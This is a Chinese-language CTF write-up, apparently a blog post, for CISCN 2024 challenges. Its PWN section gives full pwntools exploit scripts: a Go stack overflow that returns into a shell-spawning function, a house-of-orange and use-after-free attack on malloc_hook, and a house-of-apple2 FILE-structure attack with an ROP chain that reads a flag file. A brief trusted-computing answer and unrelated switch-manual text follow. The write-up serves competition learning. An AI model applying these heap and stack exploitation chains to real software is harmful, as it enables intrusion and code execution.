CISCN2024 WP 部分

PWN

gostack

题目简介

libc: 2.35

exploit point: stack overflow

golang编写的一道栈题,有一个无限制的输入,通过gdb动调找出偏移量,覆盖ret地址为main_main2,开启一个bash

exp

 
from pwn import *
binary_path = './gostack'
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64",os="linux",log_level="debug")
elf = ELF(binary_path)
libc = ELF(libc_path)
​
p=remote('8.147.128.251',30914)
leak_addr = lambda name,addr: log.success(f'{name}----->'+hex(addr))
main_arena_offset = libc.symbols["__malloc_hook"] + 0x10
#global_max_fast_offset = 0x3c67f8
#free_hook_offset = libc.symbols["__free_hook"]
def debug():
    gdb.attach(p)
    pause()
    
def pwn():
    payload = b"a"*256 + p64(0X4a05a0) + p64(101)
    payload = payload.ljust(464,b"a") + p64(0X4a05a0)
    #print(payload)
    p.sendline(payload)
    p.interactive()
    
if __name__ == "__main__":
    pwn()
​

orange_cat_diary

题目简介

libc: 2.23

exploit point: UAF

传统菜单堆题,libc2.23,UAF漏洞,有一次free和一次show,我们又要泄露libc又要打一次UAF,明显一次free是不够的,所以选择打一次house of orange(呼应上了),然后UAF打malloc_hook

from pwn import *
binary_path = './orange_cat_diary'
libc_path = "./libc.so.6"
context(arch="amd64",os="linux",log_level="debug")
​
elf = ELF(binary_path)
libc = ELF(libc_path)
argv = f''
#p=process(argv=[binary_path, argv])
p=remote('8.147.129.254',12519)
leak_addr = lambda name,addr: log.success(f'{name}----->'+hex(addr))
main_arena_offset = libc.symbols["__malloc_hook"] + 0x10
​
def debug():
    gdb.attach(p)
    pause()
def cmd(idx):
    p.sendlineafter(b"Please input your choice:",str(idx))
​
def add(size,content):
    cmd(1)
    p.sendlineafter(b"Please input the length of the diary content:",str(size))
    p.sendlineafter(b"Please enter the diary content:",content)
​
def show():
    cmd(2)
​
def free():
    cmd(3)
​
def edit(size,content):
    cmd(4)
    p.sendlineafter(b"Please input the length of the diary content:",str(size))
    p.sendlineafter(b"Please enter the diary content:\n",content)
​
def welcome(name):
    p.sendlineafter(b"Hello, I'm delighted to meet you. Please tell me your name.\n",name)
def pwn():
    #debug()
    welcome(b"y4ng")
    add(0x18,b"aaaa")
    edit(0x20,b"b"*0x18+b"\xE1\x0f\x00\x00\x00\x00\x00\x00")
    add(0x1000,b"y4ng")
    add(0x60,b"")
    show()
    libc_addr = u64(p.recv(6).ljust(8,b"\x00"))-0x3c510a
    leak_addr("libc_addr",libc_addr )
    malloc_hook = libc_addr + libc.sym["__malloc_hook"]-0x23
    one = libc_addr+0xf03a4
    free()
    edit(0x10,p64(malloc_hook))
    add(0x60,b"a")
    add(0x60,b"a"*0x13+p64(one))
    cmd(1)
    p.sendlineafter(b"Please input the length of the diary content:",str(0x20))
    p.interactive()
if __name__ == "__main__":
    pwn()
 

ezheap

怎么是用seccomp开的沙箱啊,下次记得用prctl才不会有这么多释放的heap内存,推荐文章seccomp沙箱

题目简介

libc: 2.35

exploit point: heap overflow

借助空间中现存的heap,泄露出libc和heap地址,然后打house of apple2

exp

from pwn import *
binary_path = './EzHeap'
libc_path = "./libc.so.6"
context(arch="amd64",os="linux",log_level="debug")
​
elf = ELF(binary_path)
libc = ELF(libc_path)
argv = f''
p=process(argv=[binary_path, argv])
#p=remote('8.147.129.121',15268)
leak_addr = lambda name,addr: log.success(f'{name}----->'+hex(addr))
main_arena_offset = libc.symbols["__malloc_hook"] + 0x10
#global_max_fast_offset = 0x3c67f8
#free_hook_offset = libc.symbols["__free_hook"]
​
def debug():
    gdb.attach(p,"b _IO_wdoallocbuf")
    pause()
def cmd(idx):
    p.sendlineafter(b"choice >> ",str(idx))
​
def add(size,content):
    cmd(1)
    p.sendlineafter(b"size:",str(size))
    p.sendlineafter(b"content:",content)
​
def free(idx_):
    cmd(2)
    p.sendlineafter(b"idx",str(idx_))
​
def edit(idx,size,content):
    cmd(3)
    p.sendlineafter(b"idx",str(idx))
    p.sendlineafter(b"size:",str(size))
    p.sendlineafter(b"content:",content)
​
def show(idx):
    cmd(4)
    p.sendlineafter(b"idx",str(idx))
    p.recvuntil(b"content:")
    
def pwn():
    add(0x50,b"y4ng") #0
    add(0x50,b"y4ng") #1
    edit(1,0x60,b"a"*8*12)
    show(1)
    p.recvuntil(b"a"*8*12)
    libc_addr  = u64(p.recv(6).ljust(8,b"\x00")) - 0x21ace0
    leak_addr("libc_addr",libc_addr)
    edit(1,0x60,b"a"*8*11+p64(0x90))
    for i in range(7):
        add(0x30,b"y4ng") #2-8
    add(0x30,b"y4ng") #9
    add(0x30,b"y4ng") #10
    edit(10,0x41,b"a"*8*8+b"a")
    show(10)
    p.recvuntil(b"a"*8*8)
    heap_base  = u64(p.recv(6).ljust(8,b"\x00"))- 0x61
    edit(10,0x48,b"a"*8*6+p64(0)+p64(0xf1)+p64(heap_base))
    heap_base += 0x1590 
    #debug()
    pop_rdi_ret = libc_addr + 0x000000000002a3e5
    pop_rsi_ret = libc_addr + 0x000000000002be51
    pop_rsi_r15_ret = libc_addr + 0x000000000002a3e3
    pop_rdx_r12_ret = libc_addr + 0x000000000011f2e7
    pop_rax_ret = libc_addr + 0x0000000000045eb0
    magic_gadget = libc_addr + 26 + 0x16a050
    '''
    mov    rbp,QWORD PTR [rdi+0x48]
    mov    rax,QWORD PTR [rbp+0x18]
    lea    r13,[rbp+0x10]
    mov    DWORD PTR [rbp+0x10],0x0
    mov    rdi,r13
    call   QWORD PTR [rax+0x28]
    '''
    leave_ret = libc_addr + 0x000000000004da83
    syscall_ret = libc_addr + libc.sym['read'] + 0x10
    ret = libc_addr + 0x0000000000029139
    fake_IO_addr = heap_base +  0x180
    leak_addr("fake_IO_addr",fake_IO_addr)
    rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
    orw_rop =  b'./flag\x00\x00'
    orw_rop += p64(pop_rsi_r15_ret) + p64(0) + p64(fake_IO_addr - 0x10)
    orw_rop += p64(pop_rdi_ret) + p64(rop_address) 
    #orw_rop += p64(pop_rsi_ret) + p64(0)
    orw_rop += p64(pop_rax_ret) + p64(2)
    orw_rop += p64(syscall_ret)
    orw_rop += p64(pop_rdi_ret) + p64(3)
    orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
    orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
    orw_rop += p64(libc.sym['read']+libc_addr)
    orw_rop += p64(pop_rdi_ret) + p64(1)
    orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
    orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
    orw_rop += p64(libc.sym['write']+libc_addr)
    
    payload = p64(0) + p64(leave_ret) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x20 + libc_addr)
    payload = payload.ljust(0x38, b'\x00') + p64(rop_address)
    payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0)
    payload = payload.ljust(0xc8, b'\x00') + p64(libc.sym['_IO_wfile_jumps']+libc_addr)
    payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
    payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
    payload += orw_rop
    leak_addr("heap_base",heap_base)
    add(0x100,b"a") # 11
    add(0x450,b"y4ng") # 12
    add(0x450,b"y4ng") # 13
    add(0x440,b"y4ng") # 14
    add(0x440,b"y4ng") # 15
    free(12)
    add(0x500,b"y4ng") # 12
    free(14)
    p1 = b"a"*0x100+p64(0)+p64(0x461)+payload
    edit(11,len(p1),p1)
    add(0x500,b"y4ng")
    add(0x440,b"y4ng") # 15
    cmd(5)
    p.interactive()
if __name__ == "__main__":
    pwn()

crypto

工业信息。。。

一道可信计算题,字太多了让GPT帮我读文档,根据他给的代码修改record.list和函数

record.list

{
    "type": "MAC_LABEL",
    "subtype": "RECORD"
}
{
    "name": "name",
    "isleveladjust": 0,
    "isselfdefine": 1,
    "class": "",
    "level_fix": 1,
    "level_adjust": 0
}
{
    "name": "ID",
    "isleveladjust": 0,
    "isselfdefine": 1,
    "class": "",
    "level_fix": 1,
    "level_adjust": 0
}
{
    "name": "department",
    "isleveladjust": 0,
    "isselfdefine": 1,
    "class": "",
    "level_fix": 1,
    "level_adjust": 0
}
{
    "name": "position",
    "isleveladjust": 0,
    "isselfdefine": 1,
    "class": "",
    "level_fix": 1,
    "level_adjust": 0
}
{
    "name": "YOF",
    "isleveladjust": 0,
    "isselfdefine": 1,
    "class": "",
    "level_fix": 1,
    "level_adjust": 0
}
{
    "name": "salary",
    "isleveladjust": 1,
    "isselfdefine": 1,
    "class": "F",
    "level_fix": 0,
    "level_adjust": 0
}
{
    "name": "cell",
    "isleveladjust": 1,
    "isselfdefine": 0,
    "class": "",
    "level_fix": 0,
    "level_adjust": -1
}
{
    "name": "email",
    "isleveladjust": 1,
    "isselfdefine": 0,
    "class": "",
    "level_fix": 0,
    "level_adjust": -2
}
 

fuction

 
int except_rule{  
  // add except rule check here
    if (strcmp(record_name, "salary") == 0) {
        // 判断是否是本人查询
        if (strcmp(read_user, record_user) == 0) {
            return 1;  // 允许访问
        }
    }
    return 0;
}

打个广告<CISCN_2024 | Y4ng's blog>

  • 10
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
思科交换机配置手册是为了帮助用户学习和了解如何配置和管理思科交换机的详细指南。手册涵盖了各种交换机系列和模型的配置过程,并提供了详细的步骤和示例,以帮助用户轻松配置和优化交换机的性能和功能。 该手册通常包括以下内容: 1. 基本配置:手册会介绍如何进行基本的交换机配置,例如设置主机名、IP地址、默认网关、登录密码等。用户可以根据自己的需求和网络环境进行适当的配置。 2. VLAN配置:手册会详细介绍如何配置虚拟局域网(VLAN),包括创建VLAN、将端口分配给VLAN、配置VLAN间的互连等。这有助于用户更好地管理网络流量和隔离不同部门或用户组的通信。 3. STP和RSTP配置:手册会解释和指导如何配置生成树协议(STP)和快速生成树协议(RSTP),以避免网络中的环路,并提高网络的容错性和可靠性。 4. 交换机安全配置:手册会介绍如何配置交换机的安全功能,如端口安全、MAC地址过滤、访问控制列表(ACL)等,以保护网络免受未经授权的访问和恶意攻击。 5. QoS配置:手册会指导如何配置服务质量(QoS)功能,以优化网络性能和保证关键应用的带宽和优先级。 除了这些基本配置外,手册通常还包括其他高级配置,如多协议标签交换(MPLS)、交换机堆叠配置、VTP配置等,以满足不同用户对交换机的特定要求和功能需求。 总结起来,思科交换机配置手册是一个重要的参考工具,它可以帮助用户详细了解和学习如何配置和管理思科交换机,优化网络性能和管理网络安全。无论是初学者还是有经验的网络管理员,都可以从中获得所需的指导和帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值